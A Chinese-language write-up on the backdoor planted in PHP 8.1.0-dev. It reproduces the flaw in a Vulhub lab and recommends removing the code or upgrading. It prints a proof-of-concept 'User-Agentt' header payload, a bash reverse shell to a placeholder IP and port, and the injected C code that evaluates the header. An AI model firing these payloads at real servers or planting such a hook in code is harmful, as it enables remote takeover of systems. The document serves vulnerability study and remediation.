跳转至

PHP8.1_backdoor

漏洞描述

PHP开发工程师Jake Birchall在对其中一个恶意COMMIT的分析过程中发现,在代码中注入的后门是来自一个PHP代码被劫持的网站上,并且采用了远程代码执行的操作,并且攻击者盗用了PHP开发人员的名义来提交此COMMIT

影响版本

  • PHP 8.1.0-dev

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

Bash
POC:
User-Agentt: zerodiumsystem({COMMAND});

Bash
zerodiumsystem("bash -c 'exec bash -i &>/dev/tcp/{IP}/{PORT} <&1'");

漏洞原理

  • https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
  • https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
Bash
zval *enc;

    if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
        (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
        convert_to_string(enc);
        if (strstr(Z_STRVAL_P(enc), "zerodium")) {
            zend_try {
                zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
            } zend_end_try();
        }
    }

大致的作用是从 HTTP 请求的 header 中获取 User-Agentt,然后检查是否包含 “zerodium” 字符串,如果包含,则执行 User-Agentt 字符串中的第8个字符后的代码。值得注意的是,这段代码中对 “zerodium” 的检查可能是为了针对某种特定情况做出的处理。

具体而言,代码的功能如下:

  1. 首先判断 $_SERVER 中是否包含 HTTP_USER_AGENTT 字段(HTTP 请求中的 User-Agentt 字段),如果包含则将对应的值取出并转换为字符串。
  2. 如果取出的 User-Agentt 字符串中包含 “zerodium” 这个子串,则在一个 zend_try 块中执行 User-Agent 字符串中的第8个字符后的代码(假设 User-Agentt 字符串的长度足够长)。这个代码段有一些特殊的标记注释,看起来像是为了特定目的而插入的。

修复建议

  • 移除涉及代码或升级版本